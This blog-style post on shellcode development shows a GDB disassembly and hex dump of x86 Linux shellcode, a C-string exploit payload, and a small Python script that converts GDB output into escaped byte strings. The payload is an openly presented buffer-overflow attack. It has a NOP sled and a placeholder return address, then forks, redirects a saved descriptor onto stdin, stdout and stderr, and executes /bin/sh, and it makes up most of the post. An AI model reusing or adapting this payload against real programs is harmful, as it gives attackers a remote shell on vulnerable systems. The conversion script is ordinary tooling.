Tag: shellcode

Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function
Dump of assembler code for function function:
0x08048254 <function+0>:    push   %ebp
0x08048255 <function+1>:    mov    %esp,%ebp
0x08048257 <function+3>:    pop    %ebp
0x08048258 <function+4>:    jmp    0x8048268 <begin>
0x0804825a <function+6>:    inc    %ecx
0x0804825b <function+7>:    inc    %ecx
0x0804825c <function+8>:    inc    %ecx
0x0804825d <function+9>:    inc    %ecx
0x0804825e <function+10>:    jmp    0x80482b3 <bottom>
0x08048260 <function+12>:    pop    %esi
0x08048261 <function+13>:    mov    %esi,%esp
0x08048263 <function+15>:    sub    $0x78,%esp
0x08048266 <function+18>:    xor    %edi,%edi
0x08048268 <begin+0>:    mov    %edi,%eax
0x0804826a <begin+2>:    inc    %eax
0x0804826b <begin+3>:    inc    %eax
0x0804826c <begin+4>:    int    $0x80
0x0804826e <begin+6>:    test   %eax,%eax
0x08048270 <begin+8>:    je     0x8048288 <child>
0x08048272 <parent+0>:    mov    %edi,%eax
0x08048274 <parent+2>:    mov    $0xa2,%al
0x08048276 <parent+4>:    push   $0x11111111
---Type <return> to continue, or q <return> to quit---
0x0804827b <parent+9>:    push   $0x11111111
0x08048280 <parent+14>:    mov    %esp,%ebx
0x08048282 <parent+16>:    mov    %edi,%ecx
0x08048284 <parent+18>:    int    $0x80
0x08048286 <parent+20>:    jmp    0x8048272 <parent>
0x08048288 <child+0>:    mov    -0x204(%esi),%ebx
0x0804828e <child+6>:    mov    %edi,%ecx
0x08048290 <child+8>:    mov    $0x3f,%al
0x08048292 <child+10>:    int    $0x80
0x08048294 <child+12>:    inc    %ecx
0x08048295 <child+13>:    mov    %edi,%eax
0x08048297 <child+15>:    mov    $0x3f,%al
0x08048299 <child+17>:    int    $0x80
0x0804829b <child+19>:    inc    %ecx
0x0804829c <child+20>:    mov    %edi,%eax
0x0804829e <child+22>:    mov    $0x3f,%al
0x080482a0 <child+24>:    int    $0x80
0x080482a2 <execshell+0>:    mov    %edi,%eax
0x080482a4 <execshell+2>:    mov    %al,0x7(%esi)
0x080482a7 <execshell+5>:    push   %eax
0x080482a8 <execshell+6>:    push   %esi
0x080482a9 <execshell+7>:    mov    %edi,%edx
0x080482ab <execshell+9>:    mov    %esp,%ecx
---Type <return> to continue, or q <return> to quit---
0x080482ad <execshell+11>:    mov    %esi,%ebx
0x080482af <execshell+13>:    mov    $0xb,%al
0x080482b1 <execshell+15>:    int    $0x80
0x080482b3 <bottom+0>:    call   0x8048260 <function+12>
0x080482b8 <bottom+5>:    das
0x080482b9 <bottom+6>:    bound  %ebp,0x6e(%ecx)
0x080482bc <bottom+9>:    das
0x080482bd <bottom+10>:    jae    0x8048327 <__floatdisf+55>
0x080482bf <bottom+12>:    inc    %ecx
0x080482c0 <bottom+13>:    ret
End of assembler dump.
(gdb) x/98xb 0x0804825e
0x804825e <function+10>:    0xeb    0x53    0x5e    0x89    0xf4    0x83    0xec    0x78
0x8048266 <function+18>:    0x31    0xff    0x89    0xf8    0x40    0x40    0xcd    0x80
0x804826e <begin+6>:    0x85    0xc0    0x74    0x16    0x89    0xf8    0xb0    0xa2
0x8048276 <parent+4>:    0x68    0x11    0x11    0x11    0x11    0x68    0x11    0x11
0x804827e <parent+12>:    0x11    0x11    0x89    0xe3    0x89    0xf9    0xcd    0x80
0x8048286 <parent+20>:    0xeb    0xea    0x8b    0x9e    0xfc    0xfd    0xff    0xff
0x804828e <child+6>:    0x89    0xf9    0xb0    0x3f    0xcd    0x80    0x41    0x89
0x8048296 <child+14>:    0xf8    0xb0    0x3f    0xcd    0x80    0x41    0x89    0xf8
0x804829e <child+22>:    0xb0    0x3f    0xcd    0x80    0x89    0xf8    0x88    0x46
0x80482a6 <execshell+4>:    0x07    0x50    0x56    0x89    0xfa    0x89    0xe1    0x89
0x80482ae <execshell+12>:    0xf3    0xb0    0x0b    0xcd    0x80    0xe8    0xa8    0xff
0x80482b6 <bottom+3>:    0xff    0xff    0x2f    0x62    0x69    0x6e    0x2f    ---Type <return> to continue, or q <return> to quit---
0x73
0x80482be <bottom+11>:    0x68    0x41
(gdb) Quit
And my desired output are the bytes in these strings:

char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* First the NOPs*/
 "\xeb\x04"              /* Jump over the ret addr */
 "\x41\x41\x41\x41"        /* wannabe ret addr */
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* Second NOP slide */
 "\xeb\x5d\x5e\x89\xf4\x81\xec\xc8\x00\x00\x00\x31\xff\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x17\xb8\xa2\x00\x00\x00\x68\xb8\x0b\x00\x00\x68\xb8\x0b\x00\x00\x89\xe3\x89\xf9\xcd\x80\xeb\xe9\x8b\x9e\xfc\xfd\xff\xff\x89\xf9\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x89\xf8\x88\x46\x07\x50\x56\x89\xfa\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\x9e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41"
 /* that's the shellcode */

So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?

#!/usr/bin/env python
import sys
 
paginator  = '''---Type  to continue, or q  to quit---'''
 
def convert (to_convert):
    retlines = []
    for line in to_convert.splitlines():
        if line.startswith('--'):
            continue
        pos = line.find(":")
        newline_string = line[pos+1:]
        for needle, replacement  in (('\t', ''),
                       ('0x', r'\x'),
                       ('\n', ''),
                       (paginator, '')):
            newline_string = newline_string.replace(needle, replacement)
        retlines.append (newline_string)
    return "".join(retlines)
 
if __name__ == "__main__":
    to_convert = sys.stdin.read()
    converted = convert (to_convert)
    print converted

Want to take a guess what the shellcode actually does? It’s not too hard to see though.